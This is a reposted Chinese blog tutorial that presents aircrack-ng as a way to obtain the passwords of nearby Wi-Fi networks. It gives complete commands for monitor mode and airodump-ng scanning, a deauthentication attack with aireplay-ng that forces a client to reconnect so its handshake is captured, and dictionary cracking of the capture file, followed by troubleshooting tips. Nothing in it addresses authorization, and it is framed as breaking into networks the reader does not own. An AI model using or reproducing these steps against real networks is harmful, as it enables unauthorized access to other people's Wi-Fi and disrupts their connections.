转 利用aircrack-ng工具获取附近wifi的密码
提示:下面的所有命令都以root用户执行
一、关闭网络和结束可能会影响结果的进程
1、关闭网络
1
|
service
network-manager stop
|
2、结束可能会影响结果的进程
1
|
airmon-ng
check kill
|
二、开启无线网卡到监听模式
1、查看网卡列表
1
|
iwconfig
|
说明:以wlan0和wlan1是无线网卡,我的电脑上有两张无线网卡
2、启动网卡到监听模式(这里使用wlan0)
1
|
airmon-ng
start wlan0
|
说明:如上图表示启动成功,启动后会给出一个新的名称接口名,上图中的是mon0
三、监听周围的无线网络连接并获取握手信息
1、监听周围所有无线网络信息
1
|
airodump-ng
mon0
|
在这条命令中mon0是上一步中我们得到的接口名
说明:图下半部分,列BSSID下要有非(not associated)行才行,上图中最后一行就是:
1
|
C0:XX:XX:XX:XX:00
14:XX:XX:XX:XX:B4 -87 0 - 1 3 2
|
这时,记下C0:XX:XX:XX:XX:00,并在图的上半部分中找对应C0:XX:XX:XX:XX:00行,记下CH列下的值为1。然后关闭此窗口。
2、监听感兴趣的无线网络
根据上一步的结果执行如下命令:
1
|
airodump-ng
--bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0
|
在这条命令中--bssid后接我们上一部接下的BSSID值,即:C0:XX:XX:XX:XX:00。而-c后接的是我上一步在CH列下找到的值1。而-w后接的是我们保存网络数据的文件名,这里是用tmp。在命令的最后接的是之前得到的mon0
运行命令后会得到上图的结果,并确保上图的下半部分BSSID下有至少一行的数据
3、得到握手包
保持上一步中的窗口不关,新开一个窗口,执行如下命令:
1
|
aireplay-ng
-0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0
|
观察我们步骤2中未关闭的窗口中是否出现了下图中红款中的内容。如果没有出现那就再等几分钟再次执行本步骤中的命令,直到出现。如果执行了超过30次或者时间超过30分钟依然没有出现,建议换一个感兴趣的网络。
出现了上图中红框中的内容,就表示我们已经获取到了握手信息(包含有该网络密码的数据)。那么我们就可以结束监听网络了。
四、停止监听
1、关闭监听接口
1
|
airmon-ng
stop mon0
|
2、启动网络
1
|
service
network-manager start
|
五、获取密码
此时在执行第3.2步骤中命令的目录下会有一个tmp-01.cap文件。有了这个文件我们就可以破解密码了,除了这个文件外,我们还需要一个字典文件。可以从这里下载,下载后解压出密码文件,假设其名字及路径为:/tmp/passwd.txt。执行下面的命令。如果密码字典中有这个wifi的密码,我们就可以破解出密码:
1
|
aircrack-ng
tmp-01.cap -w /tmp/passwd.txt
|
KEY FOUND!后中括号中间就是wifi密码了
六、可能出现的问题
1、收到on channel -1的错误
第3.3步执行
1
|
aireplay-ng
-0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0
|
提示错误:
1
2
3
|
11:41:04
Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel -1
11:41:04
Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch
Please
specify an ESSID (-e).
|
解决办法:
(1)确保第3.1步中的窗口被关闭了的
(2)确保执行的3.2步中的命令,且名称中有参数-c且参数-c后的数值是正确的(参数-c 1是为了把mon0的频道锁定在频道1)
(3)如果依然不能解决,那可能就是驱动问题了,就像我的电脑,在kali3.14上能正常,但在3.20上一直有问题